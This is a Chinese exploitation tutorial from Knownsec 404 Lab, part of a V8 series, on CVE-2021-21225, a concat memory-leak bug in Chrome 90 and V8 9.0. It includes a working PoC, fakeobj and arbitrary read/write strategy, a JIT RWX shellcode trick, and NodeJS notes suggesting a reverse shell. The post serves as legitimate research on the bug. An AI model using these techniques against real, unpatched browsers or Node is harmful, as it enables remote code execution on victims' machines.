13

从 0 开始学 V8 漏洞利用之 CVE-2021-21225(九)

 2 years ago
source link: https://paper.seebug.org/1858/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

从 0 开始学 V8 漏洞利用之 CVE-2021-21225(九)

11小时之前 2022年03月24日
漏洞分析 · 经验心得 · 404专栏

作者:Hcamael@知道创宇404实验室
时间:2022年03月16日

相关阅读:
从 0 开始学 V8 漏洞利用之环境搭建(一)
从 0 开始学 V8 漏洞利用之 V8 通用利用链(二)
从 0 开始学 V8 漏洞利用之 starctf 2019 OOB(三)
从 0 开始学 V8 漏洞利用之 CVE-2020-6507(四)
从0开始学 V8 漏洞利用之 CVE-2021-30632(五)
从 0 开始学 V8 漏洞利用之 CVE-2021-38001(六)
从 0 开始学 V8 漏洞利用之 CVE-2021-30517(七)
从 0 开始学 V8 漏洞利用之 CVE-2021-21220(八)

第七个研究的是CVE-2021-21225,其chrome的bug编号为:1195977

受影响的Chrome最高版本为:90.0.4430.72 受影响的V8最高版本为:9.0.257.17

在chrome的bugs中也有该漏洞的exp和poc。

一键编译相关环境:

$ ./build.sh 9.0.257.17

本次分析的漏洞,和之前研究过的有很大的不同,PoC如下:

class Leaky extends Float64Array {}

let u32 = new Leaky (1000);
u32.__defineSetter__('length', function() {});

class MyArray extends Array {
    static get [Symbol.species]() {
        return function() { return u32; }
    };
}

var w = new MyArray(300);
w.fill(1.1);
delete w[1];
Array.prototype[1] = {
valueOf: function() {
   w.length = 1;
   gc();
   delete Array.prototype[1];
   return 1.1;
}
};

var c = Array.prototype.concat.call(w);

for (var i = 0; i < 32; i++) {
print(c[i]);
}

其中gc函数需要运行d8的时候加上--expose-gc参数,才能调用。

该PoC的效果很明显,是内存泄漏,在变量w后再定义其他变量,比如var c = [1.1,2.2],那么可以把变量c的信息给泄漏出来。

发现该漏洞的研究人员也写了相关的paper:

漏洞出现在concat函数上,而且也不是新类型的漏洞,concat函数之前的漏洞编号为:CVE-2016-1646CVE-2017-5030,详细的可以去看上面的第一篇文章。

这里就说说我编写exp的过程,现有的exp已经可以泄漏变量信息了,但是还不够,要想rce,还得需要能控制变量的map,上面PoC的效果只是把变量w当成长度为1000的数组,然后赋值给变量c,在正常的程序中,变量w的长度已经被我们改成1了,所以根本没法修改后续值,只有concat函数认为变量w的长度为1000。而修改变量c的值,也根本影响不到其他变量,因为变量c本身就是长度为1000的合法变量。

在上面的第二篇文章中,提供了这么一种方案:

  1. 在上述的PoC中,数组w的所有元素都被1.1填充了,所以w的map为PACKED_DOUBLE_ELEMENTS类型。
  2. 如果我们把变量w的map改为HOLEY_ELEMENTS类型,那么concat函数在操作的时候,会把w的元素都当成Object处理。
  3. 这样,我们在变量w后面再定义一个变量: padding_obj = new Uint32Array(10);,该变量填充进我们可控的内存地址,这样就可以构建一个fake_obj。
  4. 有了fake_obj以后,就能任意读写了,就可以按照套路来写exp了。

但是直接这么写,可能会遇到一些问题,程序会crash,因为在漏洞触发后,会把后续的变量都当成对象,如果遇到一个不合法的对象,就报错了。

在上面第二篇paper中,提供了一种方法,在触发漏洞的函数中,修改了Object的原型链:

Object.prototype.valueOf = function() {
    corrupted_array = this;
    delete Object.prototype.valueOf; // clean up this valueOf
  throw 'bailout';
}

成功触发了以后,获取到我们构造的fake_obj,然后抛出异常,然后再捕获到该异常,这样程序就不会崩溃了。

上面poc中的gc函数需要加上--expose-gc参数,那么没有这个参数的环境下要怎么办呢?上面第二篇文章中给出了一个方案:

function gc() {
    new ArrayBuffer(0x7fe00000);
}

另一种得到RWX内存的方案

在之前的文章中,我们都是采用WASM的方式获取一个RWX内存区域,但是在上面的第二篇文章中,给了另一种方案。

如果heap->write_protect_code_memory为0,那么JIT优化的代码会生成RWX内存区域来存放。

示例如下:

function jit(a) {
  return a[0];
}

write64(write_protect_code_memory_, 0);

for (var i = 0; i < 200000; i++) {
  jit([0]);
}
shellcode = [xxxx]
copy_shellcode_rwx(shellcode, jit_turbo_code_addr)
jit([0])

其中write_protect_code_memory_地址一般在堆的开头,可以通过gdb来搜索该地址。

jit_turbo_code_addr地址的偏移也可以通过gdb调试来获取。

NodeJS的利用

经过研究,该漏洞能影响到NodeJS 16.0.0。

来编写NodeJS的exp的过程中需要注意几点:

  1. nodejs没开启地址压缩。
  2. 使用%DebugPrint或者%System会影响内存布局,影响利用。
  3. 最后利用的shellcode,会发现没有输出,这是因为执行shellcode的文件描述符不对,这个时候可以修改shellcode为reverse shell或者bind shell。
  1. https://bugs.chromium.org/p/chromium/issues/detail?id=1195977

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1858/

← 利用 gateway-api 攻击 kubernetes

r

知道创宇404实验室

知道创宇404实验室,是国内黑客文化深厚的网络安全公司知道创宇最神秘和核心的部门,长期致力于Web 、IoT 、工控、区块链等领域内安全漏洞挖掘、攻防技术的研究工作,团队曾多次向国内外多家知名厂商如微软、苹果、Adobe 、腾讯、阿里、百度等提交漏洞研究成果,并协助修复安全漏洞,多次获得相关致谢,在业内享有极高的声誉。

阅读更多有关该作者的文章



About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK